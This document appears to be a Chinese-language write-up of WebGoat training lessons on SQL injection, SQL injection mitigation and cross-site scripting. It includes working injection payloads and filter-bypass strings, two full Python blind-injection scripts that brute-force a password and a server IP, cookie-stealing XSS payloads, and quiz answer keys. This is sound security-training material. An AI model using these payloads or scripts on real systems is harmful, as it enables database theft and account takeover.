    信用卡类型 varchar(10),

    cookie varchar(20),

    登录次数 int);

    通过实验,你发现此字段容易受到 SQL 注入攻击。现在你想利用这一知识获取另一个表的内容。

    你想要提取数据的表是:

    创建表 user_system_data (用户ID int 非空主键,

    用户名 varchar(12),

    密码 varchar(10),

    cookie varchar(30));

    6.a) 从该表中检索所有数据

    6.b) 当你找到方法后… 戴夫的密码是什么?

    注意:有多种方法可以解决此任务。一种是使用 UNION,另一种是通过附加新的 SQL 语句。也许你可以找到这两种方法。

    姓名:

    密码:

    UNION方法构造payload:

    ' UNION SELECT userid, user_name, password, cookie, null, null, null FROM user_system_data —

    加null,因为 UNION 操作要求前后两个 SELECT 语句的列数必须相同。

    附加新的SQL语句构造payload:

    '; SELECT * FROM user_system_data —

    翻译:

    我们现在已经解释了SQL注入涉及的基本步骤。在这个任务中,你需要结合我们在SQL课程中讲解的所有知识点。

    目标:你能以Tom的身份登录吗?

    先尝试注册,显示tom已经注册了。

    尝试构造payload,没有成功。猜想后端逻辑是先验证tom是否存在,然后去比对密码。

    猜想密码字段为password,尝试在注册页构造

    tom' and password is not null–

    可以看到密码字段确实是password,接下来猜想password的长度

    tom' and length(password)>10–
    tom' and length(password)>30–
    tom' and length(password)>23–
    tom' and length(password)>22–
    tom' and length(password)=23–

    可以试出来密码长度为23。先用所有的英文字母加数字进行猜测。基于注册接口写个python脚本。

    import requests
    import string
    import time

    def brute_force_password_register():
    url = "http://127.0.0.1:8080/WebGoat/SqlInjectionAdvanced/register"

    # 请求头
    headers = {
    "Host": "127.0.0.1:8080",
    "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
    "X-Requested-With": "XMLHttpRequest",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36",
    "Accept": "*/*",
    "Origin": "http://127.0.0.1:8080",
    "Referer": "http://127.0.0.1:8080/WebGoat/start.mvc?username=username",
    "Cookie": "spoof_auth=NDE3MzY2NjQ2MTU3NmU0ODcwNmQ2ZTY5NmQ2NDYx; JSESSIONID=CBAF50684271CB66C6213F59B5CE4D9C",
    "Connection": "keep-alive"
    }

    # 已知密码长度为23位
    password_length = 23
    # 字符集:小写字母 + 大写字母 + 数字
    charset = string.ascii_letters + string.digits

    print(f"开始爆破Tom的密码,长度: {password_length} 位")
    print(f"使用的字符集: {charset}")
    print("-" * 50)

    # 存储已确定的密码字符
    password = [''] * password_length

    # 逐个位置爆破
    for position in range(1, password_length + 1):
    found_char = None

    for char in charset:
    # 构造SQL注入payload
    # 使用布尔盲注,如果字符匹配则注册成功
    username_reg = f"tom' AND SUBSTRING(password,{position},1)='{char}' — "

    data = {
    "username_reg": username_reg,
    "email_reg": "test@qq.com",
    "password_reg": "passwd",
    "confirm_password_reg": "passwd"
    }

    try:
    response = requests.put(url, headers=headers, data=data, timeout=5)

    # 根据响应判断是否猜对字符
    if response.status_code == 200:
    response_text = response.text.lower()

    # 根据注册接口的响应来判断
    # 常见的成功标识:注册成功、用户已存在等
    if "success" in response_text or "already" in response_text or "exists" in response_text:
    found_char = char
    password[position-1] = char
    print(f"位置 {position}: 找到字符 '{char}'")
    print(f"当前密码: {''.join(password)}")
    break

    except requests.RequestException as e:
    print(f"请求错误: {e}")
    continue

    # 添加延迟避免被检测
    time.sleep(0.1)

    if found_char is None:
    print(f"位置 {position}: 未找到匹配字符,尝试特殊字符")
    # 尝试一些特殊字符
    special_chars = "!@#$%^&*()_+-=[]{}|;:,.<>?/"
    for special_char in special_chars:
    username_reg = f"tom' AND SUBSTRING(password,{position},1)='{special_char}' — "

    data = {
    "username_reg": username_reg,
    "email_reg": "test@qq.com",
    "password_reg": "passwd",
    "confirm_password_reg": "passwd"
    }

    try:
    response = requests.put(url, headers=headers, data=data, timeout=5)

    if response.status_code == 200:
    response_text = response.text.lower()
    if "success" in response_text or "already" in response_text or "exists" in response_text:
    found_char = special_char
    password[position-1] = special_char
    print(f"位置 {position}: 找到特殊字符 '{special_char}'")
    print(f"当前密码: {''.join(password)}")
    break
    except:
    continue

    time.sleep(0.1)

    if found_char is None:
    password[position-1] = '?'
    print(f"位置 {position}: 未找到任何匹配字符")

    final_password = ''.join(password)
    print("-" * 50)
    print(f"爆破完成!Tom的密码可能是: {final_password}")

    return final_password

    # 测试注册接口是否工作
    def test_register_interface():
    url = "http://127.0.0.1:8080/WebGoat/SqlInjectionAdvanced/register"

    headers = {
    "Host": "127.0.0.1:8080",
    "Content-Type": "application/x-www-form-urlencoded; charset=UTF-10",
    "X-Requested-With": "XMLHttpRequest",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36",
    "Accept": "*/*",
    "Origin": "http://127.0.0.1:8080",
    "Referer": "http://127.0.0.1:8080/WebGoat/start.mvc?username=username",
    "Cookie": "spoof_auth=NDE3MzY2NjQ2MTU3NmU0ODcwNmQ2ZTY5NmQ2NDYx; JSESSIONID=CBAF50684271CB66C6213F59B5CE4D9C",
    "Connection": "keep-alive"
    }

    # 先测试一个简单的注入
    test_data = {
    "username_reg": "tom' AND 1=1 — ",
    "email_reg": "test@qq.com",
    "password_reg": "passwd",
    "confirm_password_reg": "passwd"
    }

    print("测试注册接口…")
    try:
    response = requests.put(url, headers=headers, data=test_data, timeout=5)
    print(f"测试响应状态码: {response.status_code}")
    print(f"测试响应内容: {response.text}")
    return True
    except Exception as e:
    print(f"测试失败: {e}")
    return False

    # 运行脚本
    if __name__ == "__main__":
    # 先测试接口
    if test_register_interface():
    print("\\n开始爆破密码…")
    brute_force_password_register()
    else:
    print("接口测试失败,请检查连接")

    获得了密码thisisasecretfortomonly

    =w=哼哼

    翻译:

    现在是测验时间!建议在尝试测验前完成所有SQL注入课程。正确回答所有问题以完成此任务。

    预编译语句和普通语句之间有什么区别?

    解决方案1:预编译语句是带有硬编码参数的语句。

    解决方案2:预编译语句不存储在数据库中。

    解决方案3:普通语句比预编译语句执行得更快。

    解决方案4:普通语句包含实际值,而预编译语句使用占位符。

    以下哪个字符是变量的占位符?

    解决方案1:*

    解决方案2:=

    解决方案3:?

    解决方案4:!

    预编译语句如何能比普通语句更快?

    解决方案1:预编译语句不是静态的,允许它们比普通语句更有效地进行优化。

    解决方案2:预编译语句由数据库管理系统编译一次,然后使用不同的输入重复使用,减少了编译开销。

    解决方案3:由于预编译语句被存储并等待输入,它们显著提高了性能。

    解决方案4:Oracle优化了预编译语句,通过最小化数据库资源的使用使它们更快。

    预编译语句如何帮助防止SQL注入?

    解决方案1:预编译语句具有内置机制来区分用户输入和SQL逻辑,防止恶意操纵。

    解决方案2:预编译语句使用占位符来强制执行允许输入的规则,降低SQL注入的风险。

    解决方案3:占位符防止用户输入直接附加到SQL查询,确保代码和数据之间有清晰的分离。

    解决方案4:预编译语句将所有用户输入视为字面值,从不将其与SQL命令混合。

    如果恶意用户在使用了预编译语句的注册表单中输入以下内容会发生什么?输入:Robert); DROP TABLE Students;–

    解决方案1:Students表及其所有数据将被删除。

    解决方案2:该输入会删除所有名为Robert的学生。

    解决方案3:数据库注册Robert然后删除该表。

    解决方案4:数据库将整个输入视为纯字符串:Robert); DROP TABLE Students;– 而不会将其作为SQL执行。

    正确答案:

  • 预编译语句和普通语句之间有什么区别? Solution 4: 普通语句包含实际值,而预编译语句使用占位符。
  • 以下哪个字符是变量的占位符? Solution 3: ?
  • 预编译语句如何能比普通语句更快? Solution 2: 预编译语句由数据库管理系统编译一次,然后使用不同的输入重复使用,减少了编译开销。
  • 预编译语句如何帮助防止SQL注入? Solution 3: 占位符防止用户输入直接附加到SQL查询,确保代码和数据之间有清晰的分离。
  • 如果恶意用户在使用了预编译语句的注册表单中输入以下内容会发生什么?输入:Robert); DROP TABLE Students;– Solution 4: 数据库将整个输入视为纯字符串:Robert); DROP TABLE Students;– 而不会将其作为SQL执行。
  • 关键知识点总结: 预编译语句使用占位符(如?) 来分离SQL代码和用户数据

    执行流程:SQL语句先编译,然后参数值单独传递

    安全机制:用户输入永远被当作数据处理,不会被执行为SQL代码

    性能优势:一次编译,多次执行,减少数据库开销

    SQL Injection (mitigation)(SQL注入(防护措施))

    翻译:

    试试看!编写安全代码

    你可以看到下面有一些代码,但代码不完整。请补全代码,使其不再易受 SQL 注入攻击!使用你之前学过的类和方法。

    该代码需要根据用户的姓名和邮箱地址检索用户的状态。姓名和邮箱均为字符串格式。

    翻译:

    试试看!编写安全代码

    现在是你自己编写代码的时候了!你的任务是使用 JDBC 连接到数据库并从中请求数据。

    要求:

    连接到数据库

    执行一个对 SQL 注入攻击免疫的数据库查询

    你的查询需要包含至少一个字符串参数

    开始前的一些提示:

    对于连接数据库,你可以直接假定常量 DBURL、DBUSER 和 DBPW 已提供。

    你的查询内容不重要,只要 SQL 有效且满足要求即可。

    你编写的所有代码都将插入到一个名为 “TestClass” 的 Java 类的 main 方法中,该类已为你导入了 java.sql.*。

    不够有创意想不出自己的查询?何不尝试从一个名为 users 的虚构数据库表中检索具有特定名称的用户数据。

    例如:以下代码可以编译且没有任何错误(但当然不符合完成本课程的要求)。

    java

    try {

    Connection conn = null;

    System.out.println(conn); //应该输出 'null'

    } catch (Exception e) {

    System.out.println("Oops. Something went wrong!");

    }

    运用你的知识,在下面的编辑器窗口中从零开始编写一些有效的代码!(如果你无法在那里输入,调整一次浏览器窗口的大小可能会有帮助,然后它应该就能工作了):

    答案:

    try {
    Connection conn = DriverManager.getConnection(DBURL, DBUSER, DBPW);
    String sql = "SELECT * FROM users WHERE name = ? AND email = ?";
    PreparedStatement stmt = conn.prepareStatement(sql);
    stmt.setString(1, "John");
    stmt.setString(2, "john@example.com");
    ResultSet rs = stmt.executeQuery();

    while (rs.next()) {
    System.out.println(rs.getString("name"));
    }

    rs.close();
    stmt.close();
    conn.close();

    } catch (Exception e) {
    System.out.println("Oops. Something went wrong!");
    }

    翻译:

    仅靠输入验证是不够的!!

    你需要同时做两件事:使用参数化查询并验证从用户接收的输入。在StackOverflow上你会看到很多答案声称输入验证就足够了。然而,在你发现验证被绕过之前,这种方法只能提供有限的保护,你的应用程序中就会出现SQL注入漏洞。

    关于为什么这不够的一个很好的解读可以在这里找到:https://twitter.com/marcan42/status/1238004834806067200?s=21

    让我们重复之前的一个作业,开发人员通过过滤修复了可能的SQL注入,你能发现这种方法中的弱点吗?

    构造了大半天。。好多符号被过滤了,使用注释代替空格

    '/**/OR/**/'1'='1

    '/**/UNION/**/SELECT/**/userid,user_name,password,cookie,null,null,null/**/FROM/**/user_system_data/**/–

    翻译:

    仅靠输入验证是不够的!!

    由于上次验证查询是否包含空格的尝试失败了,开发团队进一步转向只进行输入验证的方向,你能找出这次哪里出了问题吗?

    现在同时禁止了空格和SQL关键字。很多都过滤了,构造一个双写绕过,使用tab替代空格,ss闭合语句

    1';seselectlect*frfromomuser_system_data–ss

    他问能不能用UNION

    aaa'/**/union/**/selselectect/**/1,'a',user_name,password,'a','a',1/**/frfromom/**/user_system_data–/**/

    emm,这不就是用union嘛,不理解。。算了下一题

    翻译:

    在这个任务中,尝试通过 ORDER BY 字段执行 SQL 注入。尝试找到 webgoat-prd 服务器的 IP 地址,完整猜出整个 IP 地址可能耗时过长,因此我们提供最后一部分:xxx.130.219.202

    注意:此任务的提交字段本身不易受 SQL 注入攻击。

    服务器列表

    主机名 IP MAC 状态 描述

    webgoat-dev 192.168.4.0 AA:BB:11:22:CC:DD success 开发服务器

    webgoat-tst 192.168.2.1 EE:FF:33:44:AB:CD success 测试服务器

    webgoat-acc 192.168.3.3 EF:12:FE:34:AA:CC danger 验收服务器

    webgoat-pre-prod 192.168.6.4 EF:12:FE:34:AA:CC danger 预生产服务器

    点下排序用burpsuite抓包看看,我用了ip来排序

    能看到是GET请求,repeater一下,把ip换成一个不存在的字段比如num

    重点报错,意思是、在SQL语句中尝试按 NUM 列排序,但该列在表中不存在。

    问题语句

    select id, hostname, ip, mac, status, description
    from SERVERS
    where status <> 'out of order'
    order by num — 这里出错

    根据这个语句,判断可以利用case then来找出webgoat-prd的ip地址,即判断webgoat-prd的ip地址的第一位是否等于1,如果等于1的话case then的条件成立,则按照id排序,否则按照hostname排序。

    判断第一位的payload

    case when (substring((select ip from servers where hostname='webgoat-prd'),1,1)=1 then id else hostname end

    注意用burpsuite发送的时候需要转换成url编码,等于号和空格需要转码,否则发送后服务器返回400错误,如下

    (case+when+(substring((select+ip+from+servers+where+hostname%3d'webgoat-prd'),1,1)%3d1)+then+hostname+else+id+end)

    写个python脚本findwebgoat-prd.py,不止前三位,完整的ip都爆破出来

    import requests
    import time
    import sys
    from urllib.parse import quote

    class WebGoatSQLBlindExploit:
    def __init__(self, base_url, session_id):
    """
    初始化WebGoat盲注攻击器

    Args:
    base_url: WebGoat基础URL (如: http://localhost:8080)
    session_id: 浏览器的JSESSIONID cookie值
    """
    self.base_url = base_url.rstrip('/')
    self.session_id = session_id
    self.cookies = {"JSESSIONID": session_id}
    self.headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate",
    "Connection": "close",
    "Upgrade-Insecure-Requests": "1"
    }
    self.request_count = 0

    def send_request(self, payload):
    """
    发送HTTP请求

    Args:
    payload: SQL注入payload

    Returns:
    str: 响应文本
    """
    encoded_payload = quote(payload, safe='')
    url = f"{self.base_url}/WebGoat/SqlInjectionMitigations/servers?column={encoded_payload}"

    try:
    response = requests.get(
    url,
    cookies=self.cookies,
    headers=self.headers,
    timeout=10
    )
    self.request_count += 1

    if response.status_code != 200:
    print(f" [!] HTTP错误 {response.status_code}")
    return None

    return response.text

    except requests.exceptions.RequestException as e:
    print(f" [!] 请求失败: {e}")
    return None

    def analyze_response(self, response_text, expected_order_by="id"):
    """
    分析响应内容,判断是按什么排序

    Args:
    response_text: 服务器响应的HTML
    expected_order_by: 期望的排序方式 ("id" 或 "hostname")

    Returns:
    bool: True表示按期望的方式排序
    """
    if not response_text:
    return False

    # 查找webgoat-dev和webgoat-acc的位置
    dev_index = response_text.lower().find('webgoat-dev')
    acc_index = response_text.lower().find('webgoat-acc')

    if dev_index == -1 or acc_index == -1:
    # 如果找不到两个服务器名,尝试其他方法
    return False

    # 判断排序方式
    if expected_order_by == "id":
    # 按id排序时,通常id小的在前
    # 需要知道webgoat-dev和webgoat-acc的id大小关系
    # 通常webgoat-dev的id可能更小
    return dev_index < acc_index
    else: # hostname
    # 按hostname字母排序:webgoat-acc 在 webgoat-dev 之前
    # 因为"acc" < "dev"
    return acc_index < dev_index

    def test_character(self, position, char):
    """
    测试IP地址指定位置的字符

    Args:
    position: 字符位置 (从1开始)
    char: 要测试的字符

    Returns:
    bool: 如果字符匹配返回True
    """
    # 注意:如果字符匹配,应该按id排序 (then id)
    # 如果不匹配,应该按hostname排序 (else hostname)
    payload = f"(case when (substring((select ip from servers where hostname='webgoat-prd'),{position},1)='{char}') then id else hostname end)"

    response_text = self.send_request(payload)
    if response_text is None:
    return False

    # 如果是匹配的字符,应该按id排序
    # 所以检查是否按id排序
    return self.analyze_response(response_text, "id")

    def guess_ip_character(self, position):
    """
    猜解IP地址指定位置的字符

    Args:
    position: 字符位置

    Returns:
    str: 找到的字符,None表示未找到
    """
    print(f"[*] 测试第{position}位字符…")

    # IP地址可能的字符:数字0-9和点号
    # 先测试数字
    charset = "0123456789"

    for char in charset:
    print(f" 测试 '{char}'…", end="", flush=True)

    if self.test_character(position, char):
    print(f" 匹配!")
    return char
    else:
    print(" 不匹配")

    time.sleep(0.3)

    # 如果没有匹配的数字,测试点号
    print(" 测试 '.'…", end="", flush=True)
    if self.test_character(position, '.'):
    print(" 匹配!")
    return '.'
    else:
    print(" 不匹配")

    print(f"[!] 第{position}位字符未找到")
    return None

    def brute_force_ip(self):
    """
    暴力破解完整的IP地址
    """
    print("=" * 60)
    print("开始暴力破解IP地址")
    print("目标: webgoat-prd服务器的IP地址")
    print("注意: IP格式应为 xxx.130.219.202")
    print("=" * 60)

    ip_address = ""
    position = 1

    print(f"[*] 开始时间: {time.strftime('%Y-%m-%d %H:%M:%S')}")
    print(f"[*] 当前请求数: {self.request_count}")
    print("-" * 60)

    # 先测试前几位,已知格式是 xxx.130.219.202
    # 所以我们需要找到3位数字 + 点号 + 130 + 点号 + 219 + 点号 + 202

    while True:
    print(f"\\n[*] 正在破解第 {position} 位")
    print(f"[*] 当前已识别IP: {ip_address or '无'}")

    char = self.guess_ip_character(position)

    if char is None:
    print(f"[!] 无法确定第{position}位字符")
    break

    ip_address += char
    print(f"[+] 第{position}位确定为: '{char}'")
    print(f"[+] 当前IP片段: {ip_address}")

    # 检查是否可能已完成(3个点号 + 4段数字)
    if ip_address.count('.') == 3:
    parts = ip_address.split('.')
    if len(parts) == 4:
    # 验证每个部分
    all_valid = True
    for part in parts:
    if not part.isdigit():
    all_valid = False
    break

    if all_valid:
    print(f"[*] 检测到完整IP格式: {ip_address}")
    print("[*] 尝试验证…")
    if self.verify_full_ip(ip_address):
    print(f"[+] 验证成功! 最终IP地址: {ip_address}")
    return ip_address
    else:
    print("[!] 验证失败,继续破解")

    position += 1

    # 显示进度
    print(f"[*] 已尝试 {self.request_count} 次请求")
    print(f"[*] 已识别 {len(ip_address)} 个字符")

    # 如果太长了(超过20个字符),可能有问题
    if len(ip_address) > 20:
    print("[!] IP地址过长,可能判断逻辑有问题")
    break

    time.sleep(0.5)

    print("\\n" + "=" * 60)
    print("[*] 暴力破解完成")
    print(f"[*] 最终识别结果: {ip_address}")
    print(f"[*] 总请求数: {self.request_count}")
    print(f"[*] 结束时间: {time.strftime('%Y-%m-%d %H:%M:%S')}")

    return ip_address

    def verify_full_ip(self, ip_address):
    """
    验证完整的IP地址

    Args:
    ip_address: 要验证的IP地址

    Returns:
    bool: True表示IP地址正确
    """
    print(f"[*] 验证IP地址: {ip_address}")

    # 如果IP正确,应该按id排序
    payload = f"(case when ((select ip from servers where hostname='webgoat-prd')='{ip_address}') then id else hostname end)"

    response_text = self.send_request(payload)
    if response_text is None:
    return False

    return self.analyze_response(response_text, "id")

    def test_connection(self):
    """
    测试与WebGoat的连接和判断逻辑
    """
    print("[*] 测试连接和判断逻辑…")

    # 测试1: 总是真的条件(应该按id排序)
    print("\\n1. 测试总是真的条件 (1=1)…")
    payload_true = "(case when (1=1) then id else hostname end)"
    response_true = self.send_request(payload_true)
    if response_true:
    is_id_order = self.analyze_response(response_true, "id")
    print(f" 结果: {'按id排序' if is_id_order else '按hostname排序'}")
    with open("test_true.html", "w", encoding="utf-8") as f:
    f.write(response_true)

    # 测试2: 总是假的条件(应该按hostname排序)
    print("\\n2. 测试总是假的条件 (1=0)…")
    payload_false = "(case when (1=0) then id else hostname end)"
    response_false = self.send_request(payload_false)
    if response_false:
    is_hostname_order = self.analyze_response(response_false, "hostname")
    print(f" 结果: {'按hostname排序' if is_hostname_order else '按id排序'}")
    with open("test_false.html", "w", encoding="utf-8") as f:
    f.write(response_false)

    # 测试3: 直接按hostname排序
    print("\\n3. 测试直接按hostname排序…")
    response_hostname = self.send_request("hostname")
    if response_hostname:
    is_hostname_order = self.analyze_response(response_hostname, "hostname")
    print(f" 结果: {'按hostname排序' if is_hostname_order else '按id排序'}")

    # 测试4: 直接按id排序
    print("\\n4. 测试直接按id排序…")
    response_id = self.send_request("id")
    if response_id:
    is_id_order = self.analyze_response(response_id, "id")
    print(f" 结果: {'按id排序' if is_id_order else '按hostname排序'}")

    return True

    def main():
    # 配置
    base_url = "http://localhost:8080"
    session_id = "7579C0488B38D11A3BA1B2703B2D4ACE"

    # 创建攻击器
    exploit = WebGoatSQLBlindExploit(base_url, session_id)

    print("[*] 初始化完成")
    print(f"[*] 目标URL: {base_url}")
    print(f"[*] Session ID: {session_id[:10]}…")

    # 测试连接和判断逻辑
    print("\\n[*] 正在测试判断逻辑…")
    exploit.test_connection()

    print("\\n" + "=" * 60)
    print("准备开始暴力破解")
    print("=" * 60)

    # 确认开始
    confirm = input("\\n是否开始暴力破解?(y/n): ").strip().lower()
    if confirm != 'y':
    print("[*] 用户取消操作")
    sys.exit(0)

    # 开始暴力破解
    print("\\n" + "=" * 60)
    print("开始暴力破解过程")
    print("=" * 60 + "\\n")

    try:
    ip_address = exploit.brute_force_ip()

    if ip_address:
    print("\\n" + "=" * 60)
    print("[成功] 暴力破解完成!")
    print(f"[*] 找到的IP地址: {ip_address}")
    print(f"[*] 总请求次数: {exploit.request_count}")
    print("\\n请将上述IP地址输入到WebGoat的提交框中完成挑战")
    print("=" * 60)
    else:
    print("\\n" + "=" * 60)
    print("[失败] 未能找到完整IP地址")
    print(f"[*] 最终片段: {ip_address}")
    print(f"[*] 总请求次数: {exploit.request_count}")
    print("=" * 60)

    except KeyboardInterrupt:
    print("\\n\\n[!] 用户中断操作")
    print(f"[*] 已进行 {exploit.request_count} 次请求")
    sys.exit(0)
    except Exception as e:
    print(f"\\n[!] 程序出错: {e}")
    import traceback
    traceback.print_exc()
    sys.exit(1)

    if __name__ == "__main__":
    main()

    通过了哈,虽然妹有基于order by

    Cross Site Scripting(CSS跨站脚本攻击)

    翻译:

    什么是XSS?

    跨站脚本攻击(也称为XSS)是一种漏洞/缺陷,它允许HTML/脚本标签作为输入,并在没有编码或净化的情况下渲染到浏览器中。

    跨站脚本攻击(XSS)是最普遍且危害性最大的Web应用程序安全问题

    虽然对这种攻击有简单而著名的防御方法,但网络上仍然存在许多实例。修复的覆盖范围在修复过程中往往也是一个问题。我们稍后将详细讨论防御措施。

    XSS具有重大影响

    特别是随着"富互联网应用程序"越来越普遍,通过JavaScript链接的特权函数调用可能会受到损害。如果没有充分保护,敏感数据(如您的身份验证cookie)可能会被窃取并用于他人的目的。

    快速示例:

    从浏览器(Chrome、Firefox)开发者工具的JavaScript控制台中:

    alert("XSS Test");
    alert(document.cookie);

    任何返回给客户端的数据字段都可能被注入

    <script>alert("XSS Test")</script>

    试一试!使用Chrome或Firefox

    打开第二个标签页,使用与此当前页面相同的URL(或此WebGoat实例中的任何URL)。

    在第二个标签页中,打开开发者工具的JavaScript控制台并输入:alert(document.cookie);

    每个标签页的cookie应该是相同的。

    这个没啥好说的,看一下是一样的直接打勾提交。

    翻译:

    试一试!反射型 XSS

    本次任务的目标是识别哪个字段容易受到 XSS 攻击。

    始终在服务器端验证所有输入是一个良好的实践。当未经验证的用户输入被用于 HTTP 响应时,就可能发生 XSS 攻击。在反射型 XSS 攻击中,攻击者可以构造一个包含攻击脚本的 URL,并将其发布到其他网站、通过电子邮件发送,或以其他方式诱使受害者点击。

    找出字段是否易受 XSS 攻击的一个简单方法是使用 alert() 或 console.log() 方法。使用其中一种方法来找出哪个字段是易受攻击的。

    购物车

    购物车商品——立即购买价格(美元)数量总计(美元)
    Studio RTA – 带倾斜表面的笔记本电脑/阅读推车 – 樱桃色 69.99 1 0.00
    Dynex – 传统笔记本包 27.99 1 0.00
    惠普 – 搭载英特尔迅驰的 Pavilion 笔记本电脑 1599.99 1 0.00
    3年期性能服务计划($1000及以上) 299.99 1 0.00

    支付信息

    • 信用卡号: 4128 3214 0002 1999
    • 三位数验证码: 111

    在信用卡号一栏中输入

    <script>alert('XSS')</script>

    成功了哈,点击确定就好

    翻译:

    识别DOM型XSS的潜在风险

    DOM型XSS通常可以通过查看客户端代码中的路由配置来发现。寻找那些接收输入并将其“反射”到页面的路由。

    在这个示例中,你需要查找路由处理器中的一些“测试”代码(WebGoat使用Backbone作为其主要JavaScript库)。有时,测试代码会被遗留到生产环境中(而测试代码通常很简单,缺乏安全或质量控制!)。

    你的目标是找到该路由并利用它。但首先,基础路由是什么?举个例子,查看本课程的URL……它应该类似于 /WebGoat/start.mvc#lesson/CrossSiteScripting.lesson/9。这里的“基础路由”是:start.mvc#lesson/,而后面的 CrossSiteScripting.lesson/9 是由JavaScript路由处理器处理的参数。

    那么,在生产环境中遗留的测试代码对应的路由是什么?要回答这个问题,你需要检查JavaScript源代码。

    dom型xss是一种反射性XSS,纯前端dom操作不涉及到服务端请求,通过dom操作对浏览器中输入的参数进行了获取并在某个前端位置进行了输出,所以按照题目提示审计前端代码,发现GoatRouter.js这个文件存在以下部分:

    测试路由

    routes: {
    'test/:param': 'testRoute',
    }

    testRoute: function (param) {
    this.lessonController.testHandler(param); // param直接传递给handler
    //this.menuController.updateMenu(name);
    }

    识别漏洞路由:start.mvc#test/

    利用示例

    start.mvc#test/<script>alert(document.cookie)</script>

    可以构造的恶意url

    http://localhost:8080/WebGoat/start.mvc#test/<script>alert(document.cookie)</script>

    ok了

    翻译:

    尝试!基于DOM的XSS

    有些攻击是“盲目的”。幸运的是,你在这里运行着服务器,所以你可以判断是否成功。使用你刚刚找到的路由,看看能否利用它来反射路由中的参数(不经编码)以执行WebGoat中的一个内部函数。你想要执行的函数是:

    webgoat.customjs.phoneHome()

    当然,你可以使用控制台/调试来触发它,但你需要通过新标签页中的URL来触发它。

    一旦你触发它,后续的响应将会到达浏览器的控制台,并带有一个随机数。在下面输入这个随机数。

    构造url,访问

    http://localhost:8080/WebGoat/start.mvc#test/%3Cimg%20src%3Dx%20onerror%3D%22webgoat.customjs.phoneHome()%22%3E

    看界面已经成功了去找下返回数

    看到数字是1439908332

    对了哈

    翻译:

    像Netflix这样的知名网站是否对XSS攻击免疫?

    选项1:是的,它们是安全的,因为浏览器会在执行前检查代码。

    选项2:是的,因为谷歌有算法可以阻止恶意代码。

    选项3:不,因为执行的脚本会突破浏览器的防御算法。

    选项4:不,因为浏览器信任被认为是可信的网站,然后浏览器不知道脚本是恶意的。

    XSS攻击何时发生?

    选项1:当恶意脚本被注入网站的服务器端代码时。

    选项2:当用户未加密提交敏感信息时。

    选项3:当网站未能验证或清理用户输入,允许恶意脚本在用户的浏览器中执行时。

    选项4:当网站使用过时的SSL/TLS协议时。

    什么是存储型XSS攻击?

    选项1:脚本永久存储在服务器上,受害者在从服务器请求信息时获得恶意脚本。

    选项2:脚本将自己存储在受害者的计算机上,并在本地执行恶意代码。

    选项3:脚本在受害者的计算机上存储病毒。攻击者现在可以执行各种操作。

    选项4:脚本存储在浏览器中,并向攻击者发送信息。

    什么是反射型XSS攻击?

    选项1:反射攻击将恶意代码从数据库反射到Web服务器,然后反射回用户。

    选项2:它们将注入的脚本从Web服务器反射。当发送到Web服务器的输入成为响应的一部分时发生。

    选项3:反射攻击从防火墙反射到用户请求信息的数据库。

    选项4:反射型XSS攻击是注入的脚本从数据库和Web服务器反射到用户的攻击。

    JavaScript是执行XSS攻击的唯一方式吗?

    选项1:是的,你只能通过JavaScript使用标签。

    选项2:是的,否则你无法窃取cookie。

    选项3:不,还有ECMAScript。

    选项4:不,还有很多其他方式。比如HTML、Flash或任何其他浏览器执行的代码类型。

    答案:

    选项4:不,因为浏览器信任被认为是可信的网站,然后浏览器不知道脚本是恶意的。

    选项3:当网站未能验证或清理用户输入,允许恶意脚本在用户的浏览器中执行时。

    选项1:脚本永久存储在服务器上,受害者在从服务器请求信息时获得恶意脚本。

    选项2:它们将注入的脚本从Web服务器反射。当发送到Web服务器的输入成为响应的一部分时发生。

    选项4:不,还有很多其他方式。比如HTML、Flash或任何其他浏览器执行的代码类型。

    Cross Site Scripting (stored)(跨站脚本攻击(存储型))

    翻译:

    查看以下评论。

    添加一条包含 JavaScript 攻击载荷的评论。再次提醒……你需要调用 webgoat.customjs.phoneHome 函数。

    作为攻击者(进攻性安全),请注意大多数应用程序不会如此直接地暴露漏洞。此外,你可能需要找到一种动态加载 JavaScript 的方法,以完全实现数据提取的目标。

    用户头像

    约翰·多上传了一张照片。

    24天前

    图片帖子

    添加评论

    头像

    访客 2025-12-24, 16:31:39

    你能发布一条调用 webgoat.customjs.phoneHome() 的评论吗?

    头像

    访客 2025-12-24, 16:31:39

    这条也是安全的。

    头像

    webgoat 2025-12-24, 16:31:39

    这条评论是安全的

    头像

    secUriTy 2025-12-24, 16:31:39

    用于单元测试的评论

    通过浏览器开发者工具或代理工具观察,输出结果应包含一个以“phoneHome 响应是……”开头的值。请将该值填入下方以完成本练习。注意:每次调用 phoneHome 方法都会改变该值,你可能需要确保获取到最新的结果。

    一种不评论的方法,构造payload,在console提交

    webgoat.customjs.phoneHome()

    也可以构造payload,在评论提交

    <script>webgoat.customjs.phoneHome()</script>

    也是对的

    Cross Site Scripting (mitigation)(跨站脚本攻击(防护))

    翻译:

    反射型XSS

    查看下面的 HTML 文件,它将数据传递给 JSP 文件。

    名字:
    姓氏:

    这是对应的 JSP 文件:

    使用 GET 和 POST 方法读取表单数据

    使用 POST 方法读取表单数据

    名字: <%= request.getParameter("first_name")%>
    姓氏: <%= request.getParameter("last_name")%>

    如您所见,JSP 文件直接打印未经过滤的用户输入,这绝不是一个好做法。您希望用户这样访问页面:

    http://hostname.com/mywebapp/main.jsp?first_name=John&last_name=Smith

    但如果有人使用这样的链接会怎样:

    [http://hostname.com/mywebapp/main.jsp?first_name=

    现在轮到您了!

    尝试通过在 JSP 文件中对 URL 参数进行转义来防止此类 XSS 攻击:

    <html>
    <head>
    <title>Using GET and POST Method to Read Form Data</title>
    </head>
    <body>
    <h1>Using POST Method to Read Form Data</h1>
    <table>
    <tbody>
    <tr>
    <td><b>First Name:</b></td>
    <td>YOUR CODE HERE</td>
    </tr>
    <tr>
    <td><b>Last Name:</b></td>
    <td>YOUR CODE HERE</td>
    </tr>
    </tbody>
    </table>
    </body>
    </html>

    使用OWASP Java Encoder Project 的 JSP 标签库

